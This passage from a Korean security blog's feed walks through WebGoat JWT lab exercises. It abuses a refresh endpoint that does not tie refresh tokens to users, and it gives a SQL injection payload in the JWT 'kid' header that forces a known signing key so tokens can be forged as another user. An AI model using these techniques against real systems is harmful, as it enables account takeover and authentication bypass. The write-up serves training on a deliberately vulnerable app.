&lt;p data-ke-size=&quot;size16&quot;&gt;이번문제는 게싱으로 풀 수 없는 문제라, 소스 코드를 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jwt 갱신 기능을 담당하는 컨트롤러 코드인 src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java 를 확인해보면&lt;/p&gt;
&lt;pre id=&quot;code_1762625447558&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@PostMapping(&quot;/JWT/refresh/newToken&quot;)
  @ResponseBody
  public ResponseEntity newToken(
      @RequestHeader(value = &quot;Authorization&quot;, required = false) String token,
      @RequestBody(required = false) Map&amp;lt;String, Object&amp;gt; json) {
    if (token == null || json == null) {
      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
    }

    String user;
    String refreshToken;
    try {
      Jwt&amp;lt;Header, Claims&amp;gt; jwt =
          Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(&quot;Bearer &quot;, &quot;&quot;));
      user = (String) jwt.getBody().get(&quot;user&quot;);
      refreshToken = (String) json.get(&quot;refresh_token&quot;);
    } catch (ExpiredJwtException e) {
      user = (String) e.getClaims().get(&quot;user&quot;);
      refreshToken = (String) json.get(&quot;refresh_token&quot;);
    }

    if (user == null || refreshToken == null) {
      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
    } else if (validRefreshTokens.contains(refreshToken)) {
      validRefreshTokens.remove(refreshToken);
      return ok(createNewTokens(user));
    } else {
      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;burp suite history로 파악할 수 없었던 jwt 갱신을 위한 uri path를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;22번째 줄을 보면 user 또는 refreshToken이 null인지 확인하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(user&amp;nbsp;==&amp;nbsp;null&amp;nbsp;||&amp;nbsp;refreshToken&amp;nbsp;==&amp;nbsp;null)&amp;nbsp;{&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user는 사용자로부터 전달 받은 jwt payload에서 user claim을 파싱하고, refreshToken은 요청 본문우로 전달받은 Json 데이터 중 refresh_token Key에 해당하는 값이라는 것을 알 수 있다. 두 값 중 하나라도 null이라면 return문을 통해 UNAUTHORIZED를 응답하게 될거다. jwt와 refresh token이 둘 다 필요하다는 거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조건문을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;} else if (validRefreshTokens.contains(refreshToken)) {&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드가 조건임을 알 수 있는데, validRefreshToken은 사용자들에게 발급한 refresh token을 저장해둔 곳으로 사용자로부터 전달받은 refresh token이 validRefreshToken에 포함되어 있는지 확인하는 구문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자의 refresh token이 유효한지 판단하는 구문이고, 조건문을 통과하면&amp;nbsp;&amp;nbsp;&amp;nbsp;validRefreshTokens.remove(refreshToken);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 이용해 갱신에 사용된 refresh token을 파기되고 JWT의 user claim에 대입된 사용자 갱신을 위하여 JWT를 새롭게 생성해 주는 CreateNew Tokens 메서드를 실행 후 갱신된 값을 return해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(user&amp;nbsp;==&amp;nbsp;null&amp;nbsp;||&amp;nbsp;refreshToken&amp;nbsp;==&amp;nbsp;null)&amp;nbsp;{&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분에서 취약점이 발생하는데, refreshToken을 유효한지 검증하고 있지만, 사용자와 refreshToken이 유효한지 검사를 하고 있지 않다. 그래서 해커는 이를 악용해 본인의 정상적인 refresh token을 이용해 다른 사용자의 JWT를 임의로 갱신하고 이를 획득할 수 있는거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tom의 jwt와 유효한 refresh token이 필요한데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 순서를 말해보자면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/WebGoat/JWT/refresh/login 에서 refresh token을 받고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/WebGoat/JWT/refresh/newToken 에 tom의 jwt과 refresh token을 요청을 보내면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새롭게 발급받은 tom의 jwt token을 받을 수 있을것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 공격 레쓰고&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 3.38.15.png&quot; data-origin-width=&quot;2229&quot; data-origin-height=&quot;325&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqWva8/dJMcaklVHTq/j7bxSHqpc2OBfDw7oT6is0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqWva8/dJMcaklVHTq/j7bxSHqpc2OBfDw7oT6is0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqWva8/dJMcaklVHTq/j7bxSHqpc2OBfDw7oT6is0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqWva8%2FdJMcaklVHTq%2Fj7bxSHqpc2OBfDw7oT6is0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2229&quot; height=&quot;325&quot; data-filename=&quot;스크린샷 2025-11-09 오전 3.38.15.png&quot; data-origin-width=&quot;2229&quot; data-origin-height=&quot;325&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;access token을 발급해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/WebGoat/JWT/refresh/newToken에 로그에서 본 tom의 jwt token, refresh token을 포함하여 요청을 날리면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.19.49.png&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q8CVI/dJMcajURhZu/K9Mp9hkgFTkYDr0D08sMWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q8CVI/dJMcajURhZu/K9Mp9hkgFTkYDr0D08sMWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q8CVI/dJMcajURhZu/K9Mp9hkgFTkYDr0D08sMWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq8CVI%2FdJMcajURhZu%2FK9Mp9hkgFTkYDr0D08sMWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;355&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.19.49.png&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;access token과 refresh token을 받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.21.36.png&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sugnp/dJMcaaKnJNN/lDB0INgfGk5Ly9Y6lk8swK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sugnp/dJMcaaKnJNN/lDB0INgfGk5Ly9Y6lk8swK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sugnp/dJMcaaKnJNN/lDB0INgfGk5Ly9Y6lk8swK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsugnp%2FdJMcaaKnJNN%2FlDB0INgfGk5Ly9Y6lk8swK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;355&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.21.36.png&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;burp intercept 잡고 Checkout버튼 눌러서 Authorization: Bearer 부분에 갱신한 tom의 jwt token을 넣어주면 끝난다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.23.12.png&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;906&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KHYqS/dJMcab3AN9e/xDID1YFvp34SSCLXmSdth0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KHYqS/dJMcab3AN9e/xDID1YFvp34SSCLXmSdth0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KHYqS/dJMcab3AN9e/xDID1YFvp34SSCLXmSdth0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKHYqS%2FdJMcab3AN9e%2FxDID1YFvp34SSCLXmSdth0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1293&quot; height=&quot;906&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.23.12.png&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;906&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13번 문제&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.24.16.png&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;906&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FxUxv/dJMcaeMMBnm/TOu3s1a9XLKNK1cHT4LF11/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FxUxv/dJMcaeMMBnm/TOu3s1a9XLKNK1cHT4LF11/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FxUxv/dJMcaeMMBnm/TOu3s1a9XLKNK1cHT4LF11/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFxUxv%2FdJMcaeMMBnm%2FTOu3s1a9XLKNK1cHT4LF11%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1293&quot; height=&quot;906&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.24.16.png&quot; data-origin-width=&quot;1293&quot; data-origin-height=&quot;906&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tom의 계정을 삭제하면 된다고 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.25.04.png&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;617&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhuB3p/dJMcakzsQoD/lDCfD7NVKb7fIMWAmHkg21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhuB3p/dJMcakzsQoD/lDCfD7NVKb7fIMWAmHkg21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhuB3p/dJMcakzsQoD/lDCfD7NVKb7fIMWAmHkg21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhuB3p%2FdJMcakzsQoD%2FlDCfD7NVKb7fIMWAmHkg21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;617&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.25.04.png&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;617&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시나 바로 삭제되지는 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http history를 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URI 뒤의 token 파라미터에 JWT값을 넣어 서버로 요청을 보내는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.26.26.png&quot; data-origin-width=&quot;2234&quot; data-origin-height=&quot;341&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGExcQ/dJMcajgfN6Y/tBvtCdGECiZSatgtDd1rik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGExcQ/dJMcajgfN6Y/tBvtCdGECiZSatgtDd1rik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGExcQ/dJMcajgfN6Y/tBvtCdGECiZSatgtDd1rik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGExcQ%2FdJMcajgfN6Y%2FtBvtCdGECiZSatgtDd1rik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2234&quot; height=&quot;341&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.26.26.png&quot; data-origin-width=&quot;2234&quot; data-origin-height=&quot;341&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JWT 값을 복사한 후 jwt.io로 이동해 decode를 해보면 jerry의 jwt값을 알 수 있고 기타 다른 claim도 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른거랑 다른점은, header에 kid라는 claim이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kid Claim을 보려면 소스코드를 확인해줘야 하는데,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delete 버튼을 클릭했을 때 발생한 요청을 처리하는 컨트롤러인src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java에서 kid claim을 어떻게 사용하고 있는지 확인해보자.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1762630324158&quot; class=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;@PostMapping(&quot;/JWT/final/delete&quot;)
  public @ResponseBody AttackResult resetVotes(@RequestParam(&quot;token&quot;) String token) {
    if (StringUtils.isEmpty(token)) {
      return failed(this).feedback(&quot;jwt-invalid-token&quot;).build();
    } else {
      try {
        final String[] errorMessage = {null};
        Jwt jwt =
            Jwts.parser()
                .setSigningKeyResolver(
                    new SigningKeyResolverAdapter() {
                      @Override
                      public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                        final String kid = (String) header.get(&quot;kid&quot;);
                        try (var connection = dataSource.getConnection()) {
                          ResultSet rs =
                              connection
                                  .createStatement()
                                  .executeQuery(
                                      &quot;SELECT key FROM jwt_keys WHERE id = '&quot; + kid + &quot;'&quot;);
                          while (rs.next()) {
                            return TextCodec.BASE64.decode(rs.getString(1));
                          }
                        } catch (SQLException e) {
                          errorMessage[0] = e.getMessage();
                        }
                        return null;
                      }
                    })&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;try (var connection = dataSource.getConnection()) {&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드부터 보면, Database에 연결해 쿼리 실행을 준비하는 부분으로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT&amp;nbsp;key&amp;nbsp;FROM&amp;nbsp;jwt_keys&amp;nbsp;WHERE&amp;nbsp;id&amp;nbsp;=&amp;nbsp;'&amp;nbsp;+&amp;nbsp;kid&amp;nbsp;+&amp;nbsp;'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라는 쿼리를 실행하는것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 부분이 취약점을 유발할까 생각해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저 쿼리가 문자열을 그대로 이어붙이고 있어서 SQL Injection 공격으로부터 취약한 상황임을 유추해볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kid claim에 Payload를 집어넣어 보면,&lt;/p&gt;
&lt;pre id=&quot;code_1762630874202&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aaaa' union select 'MTIzNA==' from INFORMATION_SCHEMA.COLUMNS;--&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 집어넣을 수 있겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union 연산자를 기준으로 해석해 보면 앞은 id가 aaaa인 Key 값을 jwt_keys 테이블에서 조회하는 구문으로 id가 aaaa인 경우인 경우는 없어 값이 조회되지 않는것을 확인할 수 있고, 뒤 부분은 Information_Schema 데이터베이스의 Columns 테이블에서 'MTIzNA==' 라는 값을 조회한 후 주석 처리하는 쿼리로 Select로 테이블의 특정 필드가 아닌 정해진 값을 조회하는 구문이라 from 뒤의 데이터베이스에 어떤 테이블을 대입해도 무관하며 심지어 from이 없어도 괜찮다. select로 조회한 'MTIzNA==' 부분은 1234를 Base64 인코딩한 값이며 임의로 암호화 Key 값을 1234로 설정하고자 공격에 사용했다. 전체 쿼리를 실행하면 앞은 쿼리 결과가 없고 뒤는 'MTIzNA==' 를 조회해 결과적으로 'MTIzNA==' 라는 값 하나만 조회하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.45.48.png&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;593&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxZEre/dJMb995Mf5y/mzNrSHHZEbJQAzl4oeBWCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxZEre/dJMb995Mf5y/mzNrSHHZEbJQAzl4oeBWCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxZEre/dJMb995Mf5y/mzNrSHHZEbJQAzl4oeBWCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxZEre%2FdJMb995Mf5y%2FmzNrSHHZEbJQAzl4oeBWCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1251&quot; height=&quot;593&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.45.48.png&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;593&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하고 JWT 무결성 검증을 우회해야 하기 때문에 payload에서 두 가지 값을 수정하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째는 exp claim으로 만료 시간은 공격 시점보다 이후가 되도록 수정하고, 두 번째인 username claim은 실습문제 해결을 위해 Tom으로 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Burp Suite Intercept를 누르고, Delete 버튼을 누르고 URI 뒤쪽 token 파라미터를 변조하면 문제가 풀린다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.54.10.png&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HIjAO/dJMcacuFfAm/pwtofPvHPikAJLEKPdKIH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HIjAO/dJMcacuFfAm/pwtofPvHPikAJLEKPdKIH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HIjAO/dJMcacuFfAm/pwtofPvHPikAJLEKPdKIH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHIjAO%2FdJMcacuFfAm%2FpwtofPvHPikAJLEKPdKIH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1110&quot; height=&quot;286&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.54.10.png&quot; data-origin-width=&quot;1110&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.51.11.png&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;654&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BozWe/dJMcaaDB887/SEMd52WdsqXCL0hl8e0a20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BozWe/dJMcaaDB887/SEMd52WdsqXCL0hl8e0a20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BozWe/dJMcaaDB887/SEMd52WdsqXCL0hl8e0a20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBozWe%2FdJMcaaDB887%2FSEMd52WdsqXCL0hl8e0a20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;907&quot; height=&quot;654&quot; data-filename=&quot;스크린샷 2025-11-09 오전 4.51.11.png&quot; data-origin-width=&quot;907&quot; data-origin-height=&quot;654&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jwt 복습하는 이유로 해당 문제를 풀어봤다.&lt;/p&gt;</description>
      <category>webhacking</category>
      <author>lizparadox_</author>
      <guid isPermaLink="true">https://paradox123.tistory.com/3</guid>
      <comments>https://paradox123.tistory.com/3#entry3comment</comments>
      <pubDate>Sun, 9 Nov 2025 04:54:58 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack baby-sqlite</title>
      <link>https://paradox123.tistory.com/2</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 데이터베이스를 사용할때 sqlite를 사용하는것을 좋아한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 이유는 주 언어로 파이썬을 사용하기도 하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 SQL이 있지만, 별도 연결 과정 없이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;db file만 import하면 바로 사용할 수 있다보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제일 애용하는 SQL이 되어버렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
